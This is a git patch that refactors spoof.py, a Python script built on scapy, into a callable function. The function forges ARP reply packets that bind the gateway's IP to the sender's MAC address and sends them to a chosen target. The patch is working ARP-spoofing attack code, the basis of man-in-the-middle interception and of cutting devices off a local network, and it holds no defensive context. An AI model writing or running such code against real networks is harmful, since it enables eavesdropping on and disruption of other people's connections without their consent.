From 788c400f1a8adfd80d1660eedb0afff48960f8a8 Mon Sep 17 00:00:00 2001 From: xdavidhu Date: Wed, 28 Dec 2016 10:11:31 +0100 Subject: [PATCH] final spoof.py with callable function --- spoof.py | 59 ++++++++++++++++++++------------------------------------ 1 file changed, 21 insertions(+), 38 deletions(-) diff --git a/spoof.py b/spoof.py index f001ff0..bf0d48a 100644 --- a/spoof.py +++ b/spoof.py @@ -1,46 +1,29 @@ -import sys -from scapy.all import ( - get_if_hwaddr, - getmacbyip, - ARP, - Ether, - sendp -) +def sendPacket(my_mac, interface, my_ip, target_ip, target_mac): -try: - my_mac = sys.argv[1] - interface = sys.argv[2] - my_ip = sys.argv[3] - target_ip = sys.argv[4] - target_mac = sys.argv[5] -except: - print "Usage: sudo python spoof.py [MY_MAC] [IFACE] [GATEWAY_IP] [TARGET_IP] [TARGET_MAC]" - exit() + import sys + from scapy.all import ( + get_if_hwaddr, + getmacbyip, + ARP, + Ether, + sendp + ) -ether = Ether() -ether.src = my_mac # Default: network card mac + ether = Ether() + ether.src = my_mac -arp = ARP() -arp.psrc = my_ip -arp.hwsrc = my_mac + arp = ARP() + arp.psrc = my_ip + arp.hwsrc = my_mac -arp = arp -arp.pdst = target_ip # Default: 0.0.0.0 -arp.hwdst = target_mac # Default: 00:00:00:00:00:00 + arp = arp + arp.pdst = target_ip + arp.hwdst = target_mac -ether = ether -ether.src = my_mac -ether.dst = target_mac # Default: ff:ff:ff:ff:ff:f + ether = ether + ether.src = my_mac + ether.dst = target_mac -def craftRequestPkt(): - packet = ether/arp - sendp(x=packet, inter=1, count=1000) - -def craftReplyPkt(): arp.op = 2 packet = ether/arp - sendp(x=packet, inter=1, count=1000) - - -if __name__ == '__main__': - craftReplyPkt() + sendp(x=packet)